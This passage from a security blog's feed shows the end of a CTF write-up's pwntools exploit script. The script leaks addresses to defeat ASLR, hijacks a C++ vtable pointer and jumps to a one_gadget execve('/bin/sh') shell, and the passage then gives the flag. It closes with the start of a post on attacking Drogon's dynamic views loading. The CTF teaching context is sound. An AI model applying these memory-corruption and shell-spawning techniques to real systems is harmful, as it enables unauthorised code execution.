    _data1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvuntil&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&#39;&#92;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; drop&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvuntil&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&#39;&#92;nf: &#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    bytes3 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvuntil&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&#39;&#92;nMmm- crunchy!&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; drop&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; bytes3


&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#92;nleak vtable address&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;vtable_leak_json&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
vtable_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; u64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;vtable_addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#92;nfind libc address&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
got_malloc &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vtable_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;got&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;malloc&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN5Toast3eatEv&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;got_malloc&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;got_malloc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

malloc_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; u64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;malloc_addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
libc_base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; malloc_addr &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; libc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;malloc&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;libc_base&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;libc_base &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xfff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#92;nfind libc++ address&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
got_throw &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vtable_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;got&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;__cxa_throw&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN5Toast3eatEv&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;got_throw&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;got_throw&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

throw_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; u64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
libcpp_base &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; throw_addr &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; libcpp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;__cxa_throw&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;libcpp_base&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;libcpp_base &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xfff&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#92;nleak the heap&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
base64_chars_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vtable_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN6cereal6base64L5charsE&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN5Toast3eatEv&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base64_chars_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
heap_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; u64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;heap_addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#92;nfind the congee chunk&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; needle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x41424344&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;heap_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; needle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;expected to read &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; bytes&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;needle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; bytes_&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;unable to find needle in the haystack, maybe try a larger search length?&#39;&lt;/span&gt;
found_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; heap_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; bytes_&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;needle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;FOUND THE CONGEE CHUNK! - &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;found_addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
# one_gadget -f /usr/lib/x86_64-linux-gnu/libc.so.6

0xef4ce execve(&quot;/bin/sh&quot;, rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {&quot;/bin/sh&quot;, rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# &lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Approach 1: One-Gadget&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# &lt;/span&gt;

set_r12_0_gadget &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; libcpp_base &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xf0a0c&lt;/span&gt;
set_rbx_0_gadget &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; libcpp_base &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xf5e83&lt;/span&gt;
one_gadget_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; libc_base &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xef4ce&lt;/span&gt;
send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;vptr_hijack_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    found_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x08&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    set_r12_0_gadget&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    set_rbx_0_gadget&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    one_gadget_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# &lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Approach 2: system(&quot;/bin/sh&quot;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# &lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# send_json(vptr_hijack_json % (&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     found_addr + 0x10,&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     found_addr + 0x18,&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     libc_base + 0x1740b1,&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     libc_base + libc.sym.system,&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     libc_base + next(libc.search(b&#39;/bin/sh&#39;)),&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     libc_base + 0xa5688,&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# ), True)&lt;/span&gt;

p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interactive&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;crew{Pu2e_C3real_OrieNteD_Pro9ramM!ng_i5_wh@t_i_l1ke_to_cal1_it}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Plain Text&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;For further reading on JOP, I recommend reading this StackExchange answer: &lt;a href=&quot;https://security.stackexchange.com/questions/201196/concept-of-jump-oriented-programming-jop&quot;&gt;Security.SE: Concept of Jump-Oriented-Programming (JOP)&lt;/a&gt;. It provides an excellent summary and brief history on ROP/JOP. &lt;a href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;We exclude stack-based gadgets to simplify the exploit, even if an attack with such gadgets may be possible. The reason for doing so is that we don’t have direct control over stack memory. We would need the help of gadgets to push/modify the stack. Even then, modifying the stack without fine-grained control potentially crashes the program. So we explore other alternatives first. &lt;a href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>pwn</category>
        
          <category>cpp</category>
        
          <category>infosec</category>
        
          <category>writeup</category>
        
          <category>research</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Dynamic Views Loading – Abusing Server Side Rendering in Drogon</title>
        <description>What could go wrong releasing a C++ web server with &quot;live reload&quot; into the wild?</description>
        <link href="https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/"/>
        <updated>2024-08-18T00:00:00Z</updated>
        <id>https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/&quot;&gt;exploring zip attacks in Juce&lt;/a&gt; to &lt;strong&gt;exploring an alarming configuration in Drogon: Dynamic Views Loading&lt;/strong&gt; (hereafter abbreviated DVL).&lt;/p&gt;
&lt;p&gt;In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?&lt;/p&gt;
&lt;p&gt;This turned out to be a fascinating endeavour, as there happen to be a &lt;em&gt;ton&lt;/em&gt; of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.&lt;/p&gt;
